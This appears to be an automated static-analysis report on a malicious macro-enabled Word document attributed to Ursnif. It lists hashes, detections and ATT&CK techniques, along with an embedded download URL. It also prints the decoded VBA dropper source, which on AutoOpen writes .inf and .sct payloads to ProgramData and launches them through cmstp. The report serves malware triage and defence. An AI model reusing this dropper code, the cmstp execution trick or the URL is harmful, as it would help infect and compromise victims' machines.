Ursnif — Office (OOXML) malware analysis

Static analysis result for SHA-256 e437d83f688c0d5b…

MALICIOUS

Office (OOXML)

122.5 KB Created: 2020-03-02 18:08:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: c719f640ec5d01d146a7591282160ceb SHA-1: 3bce005dd3e50ef9e0fc884b0d6e9df719b453e8 SHA-256: e437d83f688c0d5b7937df9636bdb60756e65e902c1341d4b2b1109f9a7a00d7
230 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen function, which is a common technique for malicious documents. The script utilizes CreateObject to instantiate a Word application and the Shell() function to execute commands, strongly indicating a downloader or dropper functionality. The ClamAV detection name 'Doc.Downloader.UrsnifDE0-7640644-0' further supports the Ursnif family attribution and the downloader attack pattern.

Heuristics 7

  • ClamAV: Doc.Downloader.UrsnifDE0-7640644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.UrsnifDE0-7640644-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Intolerance sixty-four wondering
avYfj = Shell("cmstp /ni /s C:\ProgramData\a6f1u.inf")
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ' Difference fez dose
Set objWord = CreateObject("Word.Application")
With objWord
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "acK3g"
Sub AutoOpen()
main
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://7qfmzuglr45xs.com/nra962sc0/ft2dol9oy.php?l=cav3.cab In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2658 bytes
SHA-256: 28eedc9b802c334e79a588052e93031160759112242a5a5d66ed77c6199c857c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "acK3g"
Sub AutoOpen()
main
End Sub

Attribute VB_Name = "a8THa"
'Private const axvqG As String = "ridniw"
Public Function anQIW(acMvBl, aUFvX)
' Og summed transversely
' Uk meta lisa jaundice magnificently strident
' Venom polo
' Affidavit cleavage filename commonly
' Ul healing epileptic
' National shaped
' Bail colored median one projectile
' Guam uprising
' Certificate biographies rocco pope percent kitty
' Lone
Open acMvBl For Output As #1
Print #1, aUFvX
Close #1
End Function

Attribute VB_Name = "aeqzv"
#If VBA7 Then
    Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
#Else
    Public Declare Sub Sleep Lib "kernel32" (ByVal Milliseconds As Long)
#End If
Sub main()
' Crest leather enhancing litigation
' Sortie invoke present shoal
' Gossamer braces regenerate planners thicken
' Switzerland bulldog
' Michaelmas cleaner
' Bye norwegian ionian
' Fg patrol specially cajole
' Advocate tue
' Eighty-four pure estonia protoplasm startup
' Rubber quizzical malacca
' Pyramidal solidarity stacked feet detract solvent
Dim aa8pGx
Set aa8pGx = frm.TextBox1
Dim atBK0y
Set atBK0y = frm.TextBox2
Dim a7kG9w
Set a7kG9w = frm.TextBox3
' Stephen leaves baths effort constituency
' Difference fez dose
Set objWord = CreateObject("Word.Application")
With objWord
.Visible = False
.Application.DisplayAlerts = False
.Documents.Add
.Selection.TypeText a7kG9w.value
.Selection.WholeStory
.Selection.Copy
' Abner valuable brushing ablest oldest
' Savage shanghai priestess
' Droll probe caption relating disinclination
End With
' Purchased irrigation perspective excitement variables
' Survivors volunteers self-evident
' Lighthouse played titled prominent denise
' Freak gush voted bolivia
anQIW "C:\ProgramData\a6f1u.inf", aa8pGx.value
anQIW "C:\ProgramData\aYcEKC.sct", atBK0y.value
' Testimonials visa
Sleep 3000
' Intolerance sixty-four wondering
avYfj = Shell("cmstp /ni /s C:\ProgramData\a6f1u.inf")
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{12F455E4-B947-408A-BCC6-4AAE29693783}{BE44683B-034B-4DDC-87C7-5254AA612BF4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 3ba5fb4f92e75a9c68873eacd416e90fd56657715bbb30edace913f2245005e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).

Open this report in the interactive analyzer, or submit your own file for analysis.